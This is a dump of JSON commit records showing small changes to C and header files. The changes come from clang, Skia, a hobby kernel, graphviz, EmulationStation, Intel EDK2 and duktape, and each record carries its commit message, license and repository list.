ahl\/swift,ken0nek\/swift,xedin\/swift,ken0nek\/swift,alblue\/swift,OscarSwanros\/swift,tinysun212\/swift-windows,aschwaighofer\/swift,jmgc\/swift,shahmishal\/swift,slavapestov\/swift,gmilos\/swift,hughbe\/swift,cbrentharris\/swift,nathawes\/swift,swiftix\/swift.old,xedin\/swift,amraboelela\/swift,zisko\/swift,ben-ng\/swift,johnno1962d\/swift,parkera\/swift,atrick\/swift,djwbrown\/swift,felix91gr\/swift,calebd\/swift,kstaring\/swift,tkremenek\/swift,Jnosh\/swift,mightydeveloper\/swift,OscarSwanros\/swift,swiftix\/swift.old,djwbrown\/swift,karwa\/swift,stephentyrone\/swift,aschwaighofer\/swift,return\/swift,sdulal\/swift,huonw\/swift,LeoShimonaka\/swift,kusl\/swift,gribozavr\/swift,benlangmuir\/swift,roambotics\/swift,frootloops\/swift,apple\/swift,practicalswift\/swift,hooman\/swift,hughbe\/swift,JaSpa\/swift,IngmarStein\/swift,tardieu\/swift,arvedviehweger\/swift,sschiau\/swift,mightydeveloper\/swift,jckarter\/swift,harlanhaskins\/swift,karwa\/swift,glessard\/swift,sdulal\/swift,LeoShimonaka\/swift,emilstahl\/swift,zisko\/swift,OscarSwanros\/swift,sschiau\/swift,return\/swift,kstaring\/swift,gmilos\/swift,roambotics\/swift,airspeedswift\/swift,rudkx\/swift,uasys\/swift,felix91gr\/swift,cbrentharris\/swift,dreamsxin\/swift,alblue\/swift,tkremenek\/swift,kperryua\/swift,rudkx\/swift,xedin\/swift,gmilos\/swift,adrfer\/swift,bitjammer\/swift,dreamsxin\/swift,slavapestov\/swift,devincoughlin\/swift,allevato\/swift,austinzheng\/swift,calebd\/swift,allevato\/swift,amraboelela\/swift,manavgabhawala\/swift,gribozavr\/swift,swiftix\/swift,kstaring\/swift,sschiau\/swift,tinysun212\/swift-windows,modocache\/swift,therealbnut\/swift,tardieu\/swift,felix91gr\/swift,jmgc\/swift,gottesmm\/swift,LeoShimonaka\/swift,KrishMunot\/swift,milseman\/swift,return\/swift,benlangmuir\/swift,gribozavr\/swift,aschwaighofer\/swift,kstaring\/swift,atrick\/swift,danielmartin\/swift,KrishMunot\/swift,hughbe\/swift,kentya6\/swift,nathawes\/swift,lorentey\/swift,austinzheng\/swift,JGiola\/swift,bitjammer\/swift,johnno1962d\/swift,sdulal\/swift,deyton\/swift,harlanhaskins\/swift,devincoughlin\/swift,huonw\/swift,danielmartin\/swift,lorentey\/swift,danielmartin\/swift,arvedviehweger\/swift,JaSpa\/swift,ben-ng\/swift,return\/swift,modocache\/swift,slavapestov\/swift,kstaring\/swift,kperryua\/swift,sschiau\/swift,jckarter\/swift,kentya6\/swift,SwiftAndroid\/swift,jckarter\/swift,LeoShimonaka\/swift,tjw\/swift,ben-ng\/swift,ken0nek\/swift,frootloops\/swift,manavgabhawala\/swift,return\/swift,xedin\/swift,djwbrown\/swift,jopamer\/swift,parkera\/swift,emilstahl\/swift,shahmishal\/swift,jopamer\/swift,xwu\/swift,gregomni\/swift,cbrentharris\/swift,JaSpa\/swift,SwiftAndroid\/swift,jckarter\/swift,ben-ng\/swift,Ivacker\/swift,ahoppen\/swift,swiftix\/swift.old,amraboelela\/swift,frootloops\/swift,uasys\/swift,benlangmuir\/swift,jtbandes\/swift,khizkhiz\/swift,return\/swift,xedin\/swift,parkera\/swift,arvedviehweger\/swift,tinysun212\/swift-windows,jmgc\/swift,mightydeveloper\/swift,adrfer\/swift,adrfer\/swift,uasys\/swift,lorentey\/swift,atrick\/swift,lorentey\/swift,natecook1000\/swift,gregomni\/swift,Jnosh\/swift,cbrentharris\/swift,swiftix\/swift,tardieu\/swift,ahoppen\/swift,tjw\/swift,IngmarStein\/swift,modocache\/swift,nathawes\/swift,russbishop\/swift,mightydeveloper\/swift,milseman\/swift,brentdax\/swift,amraboelela\/swift,alblue\/swift,glessard\/swift,khizkhiz\/swift,modocache\/swift,kentya6\/swift,Jnosh\/swift,xedin\/swift,cbrentharris\/swift,mightydeveloper\/swift,Jnosh\/swift,stephentyrone\/swift,gmilos\/swift,harlanhaskins\/swift,adrfer\/swift,gribozavr\/swift,djwbrown\/swift,tjw\/swift,xwu\/swift,devincoughlin\/swift,tjw\/swift,KrishMunot\/swift,JaSpa\/swift,shahmishal\/swift,kentya6\/swift,adrfer\/swift,allevato\/swift,brentdax\/swift,johnno1962d\/swift,felix91gr\/swift,amraboelela\/swift,xwu\/swift,allevato\/swift,MukeshKumarS\/Swift,IngmarStein\/swift,arvedviehweger\/swift,swiftix\/swift,johnno1962d\/swift,sdulal\/swift,lorentey\/swift,sdulal\/swift,stephentyrone\/swift,tardieu\/swift,johnno1962d\/swift,brentdax\/swift,huonw\/swift,tkremenek\/swift,jopamer\/swift,stephentyrone\/swift,modocache\/swift,huonw\/swift,therealbnut\/swift,frootloops\/swift,SwiftAndroid\/swift,jtbandes\/swift,gottesmm\/swift,codestergit\/swift,Jnosh\/swift,gregomni\/swift,atrick\/swift,emilstahl\/swift,shahmishal\/swift,airspeedswift\/swift,gribozavr\/swift,uasys\/swift,natecook1000\/swift,return\/swift,practicalswift\/swift,slavapestov\/swift,OscarSwanros\/swift,swiftix\/swift.old,tinysun212\/swift-windows,OscarSwanros\/swift,hughbe\/swift,shajrawi\/swift,nathawes\/swift,tinysun212\/swift-windows,jopamer\/swift,hughbe\/swift,rudkx\/swift,tkremenek\/swift,JaSpa\/swift,gregomni\/swift,jmgc\/swift,parkera\/swift,swiftix\/swift.old,austinzheng\/swift,Ivacker\/swift,practicalswift\/swift,milseman\/swift,Ivacker\/swift,mightydeveloper\/swift,CodaFi\/swift,deyton\/swift,xedin\/swift,jtbandes\/swift,arvedviehweger\/swift,kperryua\/swift,apple\/swift,swiftix\/swift,alblue\/swift,JGiola\/swift,Ivacker\/swift,danielmartin\/swift,dduan\/swift,amraboelela\/swift,nathawes\/swift,khizkhiz\/swift,aschwaighofer\/swift,airspeedswift\/swift,IngmarStein\/swift,xedin\/swift,JGiola\/swift,roambotics\/swift,austinzheng\/swift,khizkhiz\/swift,ahoppen\/swift,gmilos\/swift,calebd\/swift,karwa\/swift,adrfer\/swift,uasys\/swift,emilstahl\/swift,codestergit\/swift,swiftix\/swift.old,frootloops\/swift,codestergit\/swift,ken0nek\/swift,jmgc\/swift,zisko\/swift,alblue\/swift,milseman\/swift,tjw\/swift,brentdax\/swift,russbishop\/swift,felix91gr\/swift,practicalswift\/swift,shahmishal\/swift"}
{"commit":"a879a164495db6daa4d809fbaba1617c9ade5919","old_file":"test\/Driver\/mips-long-double.c","new_file":"test\/Driver\/mips-long-double.c","old_contents":"\/\/ RUN: %clang_cc1 -triple mips64-unknown-freebsd -std=c11 -verify %s\n\/\/ RUN: %clang_cc1 -triple mips-unknown-freebsd -std=c11 -verify %s\n\/\/ RUN: %clang_cc1 -triple mips-unknown-linux-std=c11 -verify %s\n\/\/ RUN: %clang_cc1 -triple mips64-unknown-linux-std=c11 -verify %s\n\/\/ expected-no-diagnostics\n\n#ifdef _ABI64\n#  ifdef __FreeBSD__\n_Static_assert(sizeof(long double) == 8, \"sizeof long double is wrong\");\n_Static_assert(_Alignof(long double) == 8, \"alignof long double is wrong\");\n#  else\n_Static_assert(sizeof(long double) == 16, \"sizeof long double is wrong\");\n_Static_assert(_Alignof(long double) == 16, \"alignof long double is wrong\");\n#  endif\n#else\n_Static_assert(sizeof(long double) == 8, \"sizeof long double is wrong\");\n_Static_assert(_Alignof(long double) == 8, \"alignof long double is wrong\");\n#endif\n\n","new_contents":"\/\/ RUN: %clang_cc1 -triple mips64-unknown-freebsd -std=c11 -verify %s\n\/\/ RUN: %clang_cc1 -triple mips-unknown-freebsd -std=c11 -verify %s\n\/\/ RUN: %clang_cc1 -triple mips-unknown-linux -std=c11 -verify %s\n\/\/ RUN: %clang_cc1 -triple mips64-unknown-linux -std=c11 -verify %s\n\/\/ expected-no-diagnostics\n\n#ifdef _ABI64\n#  ifdef __FreeBSD__\n_Static_assert(sizeof(long double) == 8, \"sizeof long double is wrong\");\n_Static_assert(_Alignof(long double) == 8, \"alignof long double is wrong\");\n#  else\n_Static_assert(sizeof(long double) == 16, \"sizeof long double is wrong\");\n_Static_assert(_Alignof(long double) == 16, \"alignof long double is wrong\");\n#  endif\n#else\n_Static_assert(sizeof(long double) == 8, \"sizeof long double is wrong\");\n_Static_assert(_Alignof(long double) == 8, \"alignof long double is wrong\");\n#endif\n\n","subject":"Add missing spaces. This doesn't cause problems in practice because we only warn about _Static_assert with -pedantic.","message":"Add missing spaces. This doesn't cause problems in practice because we only warn\nabout _Static_assert with -pedantic.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@171860 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"90de5eb32b7edd7107ad5ab7c083d55ee84bee83","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 107\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 108\n#endif\n","subject":"Update Skia milestone to 108","message":"Update Skia milestone to 108\n\nChange-Id: I9b44ccf2c942eefbb9992e0a130690c8d24116ac\nReviewed-on: https:\/\/skia-review.googlesource.com\/c\/skia\/+\/581916\nCommit-Queue: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nAuto-Submit: Rakshit Sharma <e91e6cdce3825eaad0fa11b55195605cfed87fab@google.com>\nReviewed-by: Rakshit Sharma <e91e6cdce3825eaad0fa11b55195605cfed87fab@google.com>\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia"}
{"commit":"55662d5c57bbd169747d58cd26319062054a6303","old_file":"kernel\/core\/main.c","new_file":"kernel\/core\/main.c","old_contents":"#include <truth\/cpu.h>\n#include <truth\/types.h>\n#include <truth\/log.h>\n#include <truth\/physical_allocator.h>\n\nvoid kernel_main(void *multiboot_tables) {\n    init_interrupts();\n    enum status unused(status) = init_log(\"log\");\n    init_physical_allocator(multiboot_tables);\n    logf(\"The Kernel of Truth\\n\\tVersion %d.%d.%d\\n\\tCommit %s\\n\", kernel_major, kernel_minor, kernel_patch, vcs_version);\n    halt();\n}\n","new_contents":"#include <truth\/cpu.h>\n#include <truth\/types.h>\n#include <truth\/log.h>\n#include <truth\/physical_allocator.h>\n\nvoid kernel_main(void *multiboot_tables) {\n    init_interrupts();\n    enum status unused(status) = init_log(\"log\");\n    init_physical_allocator(multiboot_tables);\n    logf(\"The Kernel of Truth\\n\\tVersion %d.%d.%d\\n\\tCommit %s\\n\\t%s\\n\",\n         kernel_major, kernel_minor, kernel_patch, vcs_version,\n         project_website);\n    halt();\n}\n","subject":"Add project website to startup message","message":"Add project website to startup message\n","lang":"C","license":"mit","repos":"iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth"}
{"commit":"e2db3e62cfe0e413b0497a345c6d5bf03097974a","old_file":"DOM\/TKDOMMaker.h","new_file":"DOM\/TKDOMMaker.h","old_contents":"\/\/\n\/\/  TKDOMProxyMaker.h\n\/\/  TumblKitNG\n\/\/\n\/\/  Created by uasi on 09\/10\/31.\n\/\/  Copyright 2009 99cm.org. All rights reserved.\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n#import <WebKit\/WebKit.h>\n#import <ActorKit\/ActorKit.h>\n\n\n\/\/ TKDOMMaker\n\/\/\n\/\/ Make a DOMDocument from given URL synchronously\n\/\/\n@interface TKDOMMaker : NSObject {\n    NSMutableSet *workerPool_;\n}\n\n+ (id)DOMMaker;\n\n\/\/ NOTE:\n\/\/ - Do NOT perform newDOMDocumentWithURLString on the main thread\n\/\/ - Returned DOMDocument MUST be released with releaseDOM:\n\/\/ \n- (DOMDocument *)newDOMDocumentWithURLString:(NSString *)URLString;\n- (void)releaseDOM:(id)object;\n\n@end\n","new_contents":"\/\/\n\/\/  TKDOMProxyMaker.h\n\/\/  TumblKitNG\n\/\/\n\/\/  Created by uasi on 09\/10\/31.\n\/\/  Copyright 2009 99cm.org. All rights reserved.\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n#import <WebKit\/WebKit.h>\n#import <ActorKit\/ActorKit.h>\n\n\n\/\/ TKDOMMaker\n\/\/\n\/\/ Make a DOMDocument from given URL synchronously\n\/\/\n@interface TKDOMMaker : NSObject {\n}\n\n+ (id)DOMMaker;\n\n\/\/ NOTE:\n\/\/ - Do NOT perform newDOMDocumentWithURLString on the main thread\n\/\/ - Returned DOMDocument MUST be released with releaseDOM:\n\/\/ \n- (DOMDocument *)newDOMDocumentWithURLString:(NSString *)URLString;\n- (void)releaseDOM:(id)object;\n\n@end\n","subject":"Remove unused instance variable 'workerPool_'","message":"Remove unused instance variable 'workerPool_'\n","lang":"C","license":"bsd-2-clause","repos":"uasi\/tumblkit,uasi\/tumblkit"}
{"commit":"9c0c3451a66ad78dad1c9394d38a2a3be2dc89df","old_file":"src\/helpers\/TimingHelpers.h","new_file":"src\/helpers\/TimingHelpers.h","old_contents":"\/*\nCopyright (C) 2015 George White <stonehippo@gmail.com>, All rights reserved.\n\nSee https:\/\/raw.githubusercontent.com\/stonehippo\/sploder\/master\/LICENSE.txt for license details. \n*\/\n\n\/\/ ******************* Timing helpers ******************* \nvoid startTimer(long &timer) {\n  timer = millis(); \n}\n\nboolean isTimerExpired(long &timer, int expiration) {\n  long current = millis() - timer;\n  return current > expiration;\n}\n\nvoid clearTimer(long &timer) {\n  timer = 0; \n}\n","new_contents":"\/*\nCopyright (C) 2015 George White <stonehippo@gmail.com>, All rights reserved.\n\nSee https:\/\/raw.githubusercontent.com\/stonehippo\/sploder\/master\/LICENSE.txt for license details. \n*\/\n\n\/\/ ******************* Timing helpers ******************* \nvoid startTimer(long &timer) {\n  timer = millis(); \n}\n\nboolean isTimerExpired(long &timer, long expiration) {\n  long current = millis() - timer;\n  return current > expiration;\n}\n\nvoid clearTimer(long &timer) {\n  timer = 0; \n}\n","subject":"Fix bug in timing helper","message":"Fix bug in timing helper","lang":"C","license":"mit","repos":"stonehippo\/tankbot,stonehippo\/tankbot"}
{"commit":"ddff322b329ad4425fc5bd53a7c911a6709c98ae","old_file":"lib\/neatogen\/multispline.h","new_file":"lib\/neatogen\/multispline.h","old_contents":"","new_contents":"\/* $Id$Revision: *\/\n\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#ifndef MULTISPLINE_H\n#define MULTISPLINE_H\n\n#include <render.h>\n#include <pathutil.h>\n\ntypedef struct router_s router_t;\n\nextern void freeRouter (router_t* rtr);\nextern router_t* mkRouter (Ppoly_t** obs, int npoly);\nextern int makeMultiSpline(edge_t* e, router_t * rtr, int);\n\n#endif\n","subject":"Add support for edge routing to ports on the periphery of nodes, and splines for multiedges.","message":"Add support for edge routing to ports on the periphery of nodes,\nand splines for multiedges.\n","lang":"C","license":"epl-1.0","repos":"BMJHayward\/graphviz,tkelman\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,ellson\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,ellson\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,kbrock\/graphviz,ellson\/graphviz,tkelman\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,tkelman\/graphviz"}
{"commit":"237c7004130c08be3ea1a06d0e5ac76b1a153e5a","old_file":"peer_testing.h","new_file":"peer_testing.h","old_contents":"#ifndef CJET_PEER_TESTING_H\n#define CJET_PEER_TESTING_H\n\n#ifdef TESTING\n#define READ \\\n\tfake_read\n#else\n#define READ \\\n\tread\n#endif\n\n#endif\n","new_contents":"#ifndef CJET_PEER_TESTING_H\n#define CJET_PEER_TESTING_H\n\n#ifdef TESTING\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\nssize_t fake_read(int fd, void *buf, size_t count);\n\n#ifdef __cplusplus\n}\n#endif\n\n#define READ \\\n\tfake_read\n\n#else\n\n#define READ \\\n\tread\n#endif\n\n#endif\n","subject":"Add \"extern C\" stuff for clean compile of tests.","message":"Add \"extern C\" stuff for clean compile of tests.\n","lang":"C","license":"mit","repos":"mloy\/cjet,mloy\/cjet,gatzka\/cjet,mloy\/cjet,mloy\/cjet,mloy\/cjet,gatzka\/cjet,gatzka\/cjet,gatzka\/cjet,gatzka\/cjet"}
{"commit":"2b7d5dd221477e233f77c8c729ee34f61600cfca","old_file":"es-app\/src\/EmulationStation.h","new_file":"es-app\/src\/EmulationStation.h","old_contents":"#pragma once\n\n\/\/ These numbers and strings need to be manually updated for a new version.\n\/\/ Do this version number update as the very last commit for the new release version.\n#define PROGRAM_VERSION_MAJOR       2\n#define PROGRAM_VERSION_MINOR        0\n#define PROGRAM_VERSION_MAINTENANCE  1\n#define PROGRAM_VERSION_STRING \"2.0.1a\"\n\n#define PROGRAM_BUILT_STRING __DATE__ \" - \" __TIME__\n\n#define RESOURCE_VERSION_STRING \"2,0,1\\0\"\n#define RESOURCE_VERSION PROGRAM_VERSION_MAJOR,PROGRAM_VERSION_MINOR,PROGRAM_VERSION_MAINTENANCE\n","new_contents":"#pragma once\n\n\/\/ These numbers and strings need to be manually updated for a new version.\n\/\/ Do this version number update as the very last commit for the new release version.\n#define PROGRAM_VERSION_MAJOR       2\n#define PROGRAM_VERSION_MINOR        0\n#define PROGRAM_VERSION_MAINTENANCE  1\n#define PROGRAM_VERSION_STRING \"2.0.1b SDL mod by Krejza9\"\n\n#define PROGRAM_BUILT_STRING __DATE__ \" - \" __TIME__\n\n#define RESOURCE_VERSION_STRING \"2,0,1\\0\"\n#define RESOURCE_VERSION PROGRAM_VERSION_MAJOR,PROGRAM_VERSION_MINOR,PROGRAM_VERSION_MAINTENANCE\n","subject":"Update version to 2.0.1b SDL mod by Krejza9.","message":"Update version to 2.0.1b SDL mod by Krejza9.","lang":"C","license":"mit","repos":"Krejza9\/EmulationStation-sdlmixer,Krejza9\/EmulationStation-sdlmixer,Krejza9\/EmulationStation-sdlmixer"}
{"commit":"ad9448408a5d2863db4aa2cb5d1f0d4a27689528","old_file":"IntelSiliconPkg\/Include\/IndustryStandard\/FirmwareVersionInfo.h","new_file":"IntelSiliconPkg\/Include\/IndustryStandard\/FirmwareVersionInfo.h","old_contents":"","new_contents":"\/** @file\r\n  Intel Firmware Version Info (FVI) related definitions.\r\n\r\n  @todo: update document\/spec reference\r\n\r\n  Copyright (c) 2016, Intel Corporation. All rights reserved.<BR>\r\n  This program and the accompanying materials\r\n  are licensed and made available under the terms and conditions of the BSD License\r\n  which accompanies this distribution.  The full text of the license may be found at\r\n  http:\/\/opensource.org\/licenses\/bsd-license.php\r\n\r\n  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\n  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n\r\n@par Specification Reference:\r\n  System Management BIOS (SMBIOS) Reference Specification v3.0.0 dated 2015-Feb-12\r\n  http:\/\/www.dmtf.org\/sites\/default\/files\/standards\/documents\/DSP0134_3.0.0.pdf\r\n\r\n**\/\r\n\r\n#ifndef __FIRMWARE_VERSION_INFO_H__\r\n#define __FIRMWARE_VERSION_INFO_H__\r\n\r\n#include <IndustryStandard\/SmBios.h>\r\n\r\n#define INTEL_FIRMWARE_VERSION_INFO_GROUP_NAME    \"Firmware Version Info\"\r\n\r\n#pragma pack(1)\r\n\r\n\/\/\/\r\n\/\/\/ Firmware Version Structure\r\n\/\/\/\r\ntypedef struct {\r\n  UINT8                       MajorVersion;\r\n  UINT8                       MinorVersion;\r\n  UINT8                       Revision;\r\n  UINT16                      BuildNumber;\r\n} INTEL_FIRMWARE_VERSION;\r\n\r\n\/\/\/\r\n\/\/\/ Firmware Version Info (FVI) Structure\r\n\/\/\/\r\ntypedef struct {\r\n  SMBIOS_TABLE_STRING         ComponentName;  \/\/\/< String Index of Component Name\r\n  SMBIOS_TABLE_STRING         VersionString;  \/\/\/< String Index of Version String\r\n  INTEL_FIRMWARE_VERSION      Version;        \/\/\/< Firmware version\r\n} INTEL_FIRMWARE_VERSION_INFO;\r\n\r\n\/\/\/\r\n\/\/\/ SMBIOS OEM Type Intel Firmware Version Info (FVI) Structure\r\n\/\/\/\r\ntypedef struct {\r\n  SMBIOS_STRUCTURE            Header;         \/\/\/< SMBIOS structure header\r\n  UINT8                       Count;          \/\/\/< Number of FVI entries in this structure\r\n  INTEL_FIRMWARE_VERSION_INFO Fvi[1];         \/\/\/< FVI structure(s)\r\n} SMBIOS_TABLE_TYPE_OEM_INTEL_FVI;\r\n\r\n#pragma pack()\r\n\r\n#endif\r\n","subject":"Add Intel Firmware Version Info (FVI) definitions","message":"IntelSiliconPkg: Add Intel Firmware Version Info (FVI) definitions\n\nAdding Intel Firmware Version Info (FVI) related defines & structures.\nFVI enables reporting the Firmware Versions using SMBIOS OEM Type.\n\nContributed-under: TianoCore Contribution Agreement 1.0\nSigned-off-by: Giri P Mudusuru <25c53ebec15b492d82d7bf064153464c6e8fbfec@intel.com>\nReviewed-by: Jiewen Yao <364a90bfebd1f362ebb7b48e4bf8ec010adef203@intel.com>\nReviewed-by: Star Zeng <5c6bb72efe464613af94e84c05522a361b23844a@intel.com>\n","lang":"C","license":"bsd-2-clause","repos":"MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2"}
{"commit":"c9b5c9177cf8e289da3459ef82770bac4c685e1b","old_file":"misc\/c_hex_esc.c","new_file":"misc\/c_hex_esc.c","old_contents":"","new_contents":"\/*\n *  Hex escapes in C code can be confusing; this is non-portable:\n *\n *      const char *str = \"\\xffab\";\n *\n *  GCC will warn:\n *\n *      warning: hex escape sequence out of range [enabled by default]\n *\n *  To avoid this, you can e.g. use the following form:\n *\n *      const char *str = \"\\xff\" \"ab\";\n *\n *  If the C hex escape is terminated by a character that cannot be a\n *  valid hex digit, there is no need for this (but breaking up the\n *  string is still good practice), e.g.:\n *\n *      const char *str = \"\\xffquux\";\n *\n *  Another hex escape always terminates a previous hex escape.  For\n *  instance, to write a user internal property constant with two\n *  leading 0xFF bytes:\n *\n *      const char *str = \"\\xff\\xff\" \"quux\";\n *\/\n\n#include <stdio.h>\n\nint main(int argc, char *argv[]) {\n\tconst char *str = \"\\xffabcdef\";  \/* Generates a warning on GCC *\/\n\tprintf(\"%s\\n\", str);\n\treturn 0;\n}\n","subject":"Add an example of C string hex escape quirks","message":"Add an example of C string hex escape quirks\n","lang":"C","license":"mit","repos":"eddieh\/duktape,thurday\/duktape,skomski\/duktape,haosu1987\/duktape,pombredanne\/duktape,zeropool\/duktape,markand\/duktape,sloth4413\/duktape,zeropool\/duktape,eddieh\/duktape,pombredanne\/duktape,tassmjau\/duktape,chenyaqiuqiu\/duktape,harold-b\/duktape,thurday\/duktape,sloth4413\/duktape,jmptrader\/duktape,thurday\/duktape,thurday\/duktape,svaarala\/duktape,markand\/duktape,kphillisjr\/duktape,jmptrader\/duktape,reqshark\/duktape,skomski\/duktape,reqshark\/duktape,nivertech\/duktape,markand\/duktape,kphillisjr\/duktape,skomski\/duktape,svaarala\/duktape,jmptrader\/duktape,rwaldron\/duktape,harold-b\/duktape,zeropool\/duktape,svaarala\/duktape,sloth4413\/duktape,kphillisjr\/duktape,kphillisjr\/duktape,daimajia\/duktape,jmptrader\/duktape,svaarala\/duktape,kphillisjr\/duktape,sloth4413\/duktape,svaarala\/duktape,zeropool\/duktape,nivertech\/duktape,thurday\/duktape,sloth4413\/duktape,tassmjau\/duktape,sloth4413\/duktape,nivertech\/duktape,sloth4413\/duktape,jmptrader\/duktape,chenyaqiuqiu\/duktape,harold-b\/duktape,eddieh\/duktape,skomski\/duktape,thurday\/duktape,chenyaqiuqiu\/duktape,daimajia\/duktape,reqshark\/duktape,rwaldron\/duktape,daimajia\/duktape,harold-b\/duktape,chenyaqiuqiu\/duktape,reqshark\/duktape,haosu1987\/duktape,zeropool\/duktape,thurday\/duktape,eddieh\/duktape,svaarala\/duktape,zeropool\/duktape,reqshark\/duktape,eddieh\/duktape,markand\/duktape,reqshark\/duktape,harold-b\/duktape,pombredanne\/duktape,chenyaqiuqiu\/duktape,rwaldron\/duktape,nivertech\/duktape,skomski\/duktape,chenyaqiuqiu\/duktape,chenyaqiuqiu\/duktape,eddieh\/duktape,haosu1987\/duktape,markand\/duktape,eddieh\/duktape,eddieh\/duktape,sloth4413\/duktape,chenyaqiuqiu\/duktape,jmptrader\/duktape,reqshark\/duktape,tassmjau\/duktape,harold-b\/duktape,jmptrader\/duktape,harold-b\/duktape,haosu1987\/duktape,pombredanne\/duktape,zeropool\/duktape,chenyaqiuqiu\/duktape,svaarala\/duktape,reqshark\/duktape,pombredanne\/duktape,zeropool\/duktape,nivertech\/duktape,svaarala\/duktape,pombredanne\/duktape,haosu1987\/duktape,harold-b\/duktape,nivertech\/duktape,rwaldron\/duktape,daimajia\/duktape,haosu1987\/duktape,markand\/duktape,pombredanne\/duktape,haosu1987\/duktape,tassmjau\/duktape,nivertech\/duktape,haosu1987\/duktape,tassmjau\/duktape,tassmjau\/duktape,tassmjau\/duktape,eddieh\/duktape,daimajia\/duktape,skomski\/duktape,sloth4413\/duktape,jmptrader\/duktape,thurday\/duktape,kphillisjr\/duktape,eddieh\/duktape,haosu1987\/duktape,markand\/duktape,markand\/duktape,zeropool\/duktape,svaarala\/duktape,jmptrader\/duktape,skomski\/duktape,reqshark\/duktape,daimajia\/duktape,markand\/duktape,pombredanne\/duktape,jmptrader\/duktape,kphillisjr\/duktape,kphillisjr\/duktape,harold-b\/duktape,skomski\/duktape,pombredanne\/duktape,rwaldron\/duktape,haosu1987\/duktape,zeropool\/duktape,markand\/duktape,skomski\/duktape,thurday\/duktape,chenyaqiuqiu\/duktape,harold-b\/duktape,thurday\/duktape,tassmjau\/duktape,nivertech\/duktape,reqshark\/duktape,nivertech\/duktape,kphillisjr\/duktape,pombredanne\/duktape,rwaldron\/duktape,tassmjau\/duktape,nivertech\/duktape,skomski\/duktape,tassmjau\/duktape,kphillisjr\/duktape,sloth4413\/duktape"}
